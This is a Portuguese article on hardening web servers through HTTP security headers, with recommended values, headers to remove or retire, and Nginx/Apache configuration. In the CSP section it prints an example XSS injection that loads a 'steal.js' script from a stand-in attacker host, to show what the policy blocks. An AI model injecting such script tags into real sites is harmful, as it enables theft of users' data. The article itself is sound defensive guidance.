// Hardening de Aplicação

Cabeçalhos HTTP: o que seu site está revelando ao atacante antes de qualquer ataque

Linhas de configuração no servidor bloqueiam clickjacking, XSS, MIME sniffing e SSL stripping: e outros headers que você provavelmente ainda tem ativo estão entregando sua stack tecnológica de bandeja para o atacante.

O que são e por que a maioria ignora

Cada resposta HTTP que seu servidor envia ao browser pode incluir instruções de segurança na forma de cabeçalhos: metadados que o browser lê antes de renderizar qualquer conteúdo. Esses cabeçalhos dizem ao browser o que ele tem permissão de fazer: se pode exibir a página em iframes, de quais origens pode carregar scripts, se deve forçar HTTPS, quais recursos de hardware pode acessar.

Sem esses cabeçalhos, o browser opera no modo mais permissivo possível: o padrão dos anos 90. Um atacante verifica a presença desses headers antes de qualquer outra ação. Um simples curl -I https://seusite.com.br revela em segundos o que está faltando.

Este artigo cobre duas categorias: headers que você deve adicionar (proteções) e headers que você deve remover (revelam informações sobre sua stack que facilitam ataques direcionados).

Headers de segurança a adicionar

Strict-Transport-Security (HSTS)
Força HTTPS em todas as visitas futuras
bloqueia: SSL stripping / MITM

Sem HSTS, um atacante em posição de man-in-the-middle (rede Wi-Fi pública, DNS comprometido) pode interceptar a primeira requisição HTTP antes do redirect para HTTPS e operar como proxy transparente. O usuário vê HTTPS no browser, mas a conexão está sendo lida. Com HSTS, o browser rejeita qualquer conexão não-HTTPS pelo período especificado: sem depender de um redirect.

Valor recomendado
Strict-Transport-Security: max-age=63072000; includeSubDomains; preload
// 2 anos; inclui subdomínios; candidato à lista preload dos browsers

Atenção: certificado expirado com HSTS ativo bloqueia o acesso por toda a duração do max-age. Certifique-se de ter renovação automática configurada antes de usar valores longos. Comece com max-age=300 para testar.

X-Frame-Options / Content-Security-Policy: frame-ancestors
Impede que seu site seja embutido em iframes
bloqueia: clickjacking

Clickjacking: o atacante coloca seu site em um iframe invisível sobreposto a um botão ("Ganhe um prêmio"). O usuário clica no botão visível, mas o clique é registrado no iframe: acionando transferências, confirmações ou alterações de configuração no site real. A diretiva CSP frame-ancestors é o método moderno; X-Frame-Options é mantido para browsers mais antigos.

Valor recomendado
Content-Security-Policy: frame-ancestors 'none'
// browsers modernos: mais flexível que X-Frame-Options

X-Frame-Options: DENY
// fallback para browsers antigos
X-Content-Type-Options
Impede que o browser adivinhe o tipo de arquivo
bloqueia: MIME sniffing / execução de conteúdo indevido

MIME sniffing: sem este header, browsers podem "adivinhar" o tipo de um arquivo baseado em seu conteúdo, ignorando o Content-Type declarado. Um arquivo .txt com conteúdo HTML pode ser renderizado como HTML. Se um atacante conseguir fazer upload de um arquivo com conteúdo malicioso, browsers vulneráveis podem executá-lo mesmo que o servidor declare MIME type inofensivo.

Valor recomendado: única opção
X-Content-Type-Options: nosniff
// instrui o browser a respeitar o Content-Type declarado
Content-Security-Policy (CSP)
Define quais origens podem carregar recursos
bloqueia: XSS / injeção de scripts externos / data exfiltration

O CSP é o header mais poderoso: e o mais complexo de configurar. Ele define de quais origens scripts, estilos, fontes e imagens podem ser carregados, e pode desabilitar inline JavaScript completamente. Um XSS bem-sucedido que injeta <script src="attacker.com/steal.js"> é bloqueado se a CSP não permite origens externas para scripts.

Política restritiva: ponto de partida
Content-Security-Policy:
  default-src 'self';
  script-src 'self';
  style-src 'self' https://fonts.googleapis.com;
  font-src https://fonts.gstatic.com;
  img-src 'self' data: https:;
  object-src 'none';
  frame-ancestors 'none';
  base-uri 'self'

Comece com Content-Security-Policy-Report-Only para monitorar violações sem bloquear nada. Mapeie o que precisa ser permitido. Só então ative a política real. Uma CSP mal configurada pode quebrar funcionalidades da aplicação.

Referrer-Policy
Controla quais informações vazam ao navegar para outros sites
bloqueia: vazamento de URLs internas / tokens em query string

Quando um usuário clica em link externo, o browser por padrão envia o URL completo da página atual no header Referer. Se a aplicação usa tokens ou identificadores na URL (ex.: /reset?token=abc123), esses valores aparecem nos logs de acesso do servidor externo. O header Referrer-Policy limita o que é enviado.

Valor recomendado
Referrer-Policy: strict-origin-when-cross-origin
// envia só a origem (sem path/query) para domínios externos
Cache-Control
Controla o armazenamento de dados sensíveis em cache
bloqueia: exposição de dados via cache compartilhado

Browsers e proxies intermediários armazenam respostas HTTP em cache por padrão. Páginas com dados pessoais, resultados de busca de pacientes ou informações financeiras podem ser lidas por qualquer pessoa que acesse o mesmo browser ou proxy. no-store previne qualquer armazenamento; private permite cache apenas no browser do usuário.

Para páginas com dados sensíveis
Cache-Control: no-store
// dados sensíveis: proibir qualquer armazenamento

Cache-Control: private, max-age=3600
// dados do usuário: apenas cache local, 1 hora

Atenção à confusão comum: no-cache não impede o armazenamento: apenas exige revalidação antes de usar o cache. Para prevenir armazenamento de verdade, use no-store.

Permissions-Policy
Restringe acesso a APIs e recursos de hardware
bloqueia: acesso não autorizado a câmera, microfone, geolocalização via XSS

Um XSS bem-sucedido em site sem Permissions-Policy pode tentar acessar câmera, microfone, geolocalização ou APIs de pagamento em nome do usuário. Esse header permite declarar explicitamente quais APIs a aplicação usa e desabilitar todas as demais. Listas vazas significam acesso bloqueado.

Para aplicação sem uso de hardware
Permissions-Policy: camera=(), microphone=(), geolocation=(), payment=(), usb=()

Headers a remover das respostas

Tão importante quanto adicionar headers de proteção é remover os headers que revelam informações sobre sua stack tecnológica. Um atacante que sabe que você usa Apache 2.4.29 no Ubuntu 18.04 com PHP 7.2 pode procurar CVEs específicos para essa combinação.

Server: Apache/2.4.51 (Ubuntu)

Revela servidor web e versão. Configure: ServerTokens Prod no Apache (retorna apenas "Apache"); server_tokens off no Nginx. Substitua por um valor genérico ou remova completamente.

X-Powered-By: PHP/8.1.2

Revela linguagem e versão. No PHP: expose_php = Off no php.ini. No Express/Node: app.disable('x-powered-by') ou use o middleware Helmet.

X-AspNet-Version: 4.0.30319

Revela versão do .NET. Desabilite com <httpRuntime enableVersionHeader="false" /> no web.config.

X-Generator: WordPress 6.4.1

Revelado por alguns CMSs automaticamente. No WordPress, remova via plugin ou função no functions.php: remove_action('wp_head', 'wp_generator').

Headers DEPRECATED: não use ou remova imediatamente

⚠️ X-XSS-Protection: 1; mode=block: pode INTRODUZIR vulnerabilidades

Este header ativava o filtro XSS embutido em browsers antigos (IE, Chrome até 2019). O problema: o filtro foi descoberto que podia ser manipulado por atacantes para causar comportamento incorreto em páginas que de outra forma seriam seguras. Todos os browsers modernos o ignoram ou já o removeram. Se você ainda tem este header, remova ou defina explicitamente X-XSS-Protection: 0 para desativar. Substitua por uma CSP adequada.

Expect-CT
DEPRECATED: remover

Exigia que browsers verificassem Certificate Transparency para o domínio. Hoje a CT é obrigatória para todos os certificados emitidos por CAs confiáveis: o header perdeu utilidade. Browsers modernos ignoram. Remova para evitar overhead desnecessário.

Public-Key-Pins (HPKP)
REMOVIDO de todos os browsers modernos

Pinava certificados específicos no browser, criando risco operacional severo: uma má configuração ou rotação de certificado poderia bloquear usuários permanentemente. Removido do Chrome em 2018, demais browsers seguiram. Se você ainda tem este header, remova imediatamente. Substitua por Certificate Transparency (CT) e registros CAA no DNS.

Como verificar seus headers agora

Terminal: verificar todos de uma vez
curl -sI https://seusite.com.br | grep -iE "strict|content-security|x-frame|x-content|referrer|permissions|server|x-powered|cache-control"

Headers presentes: você quer ver strict-transport-security, content-security-policy, x-frame-options, x-content-type-options, referrer-policy, permissions-policy, cache-control (em respostas com dados sensíveis).

Headers ausentes: você quer que server não revele versão, e x-powered-by não apareça na listagem.

Implementação rápida por servidor

Nginx: adicionar no bloco server{}
add_header Strict-Transport-Security "max-age=63072000; includeSubDomains; preload" always;
add_header X-Frame-Options "DENY" always;
add_header X-Content-Type-Options "nosniff" always;
add_header Referrer-Policy "strict-origin-when-cross-origin" always;
add_header Permissions-Policy "camera=(), microphone=(), geolocation=()" always;
server_tokens off;
Apache: .htaccess
Header always set Strict-Transport-Security "max-age=63072000; includeSubDomains"
Header always set X-Frame-Options "DENY"
Header always set X-Content-Type-Options "nosniff"
Header always set Referrer-Policy "strict-origin-when-cross-origin"
Header unset Server
Header unset X-Powered-By
ServerTokens Prod

Checklist rápido

✓
Strict-Transport-Security
max-age ≥ 63072000 com includeSubDomains
✓
Content-Security-Policy
Política definida; ao menos frame-ancestors e object-src 'none'
✓
X-Frame-Options
DENY: fallback para browsers antigos
✓
X-Content-Type-Options
nosniff
✓
Referrer-Policy
strict-origin-when-cross-origin ou mais restritivo
✓
Cache-Control
no-store em rotas com dados sensíveis
✓
Permissions-Policy
Desabilitar camera, microphone, geolocation se não usados
✓
Server / X-Powered-By
Remover ou ofuscar: não revelar stack tecnológica
✓
X-XSS-Protection
Remover ou definir como 0: nunca deixar com valor 1
✓
HPKP / Expect-CT
Remover se presentes: deprecated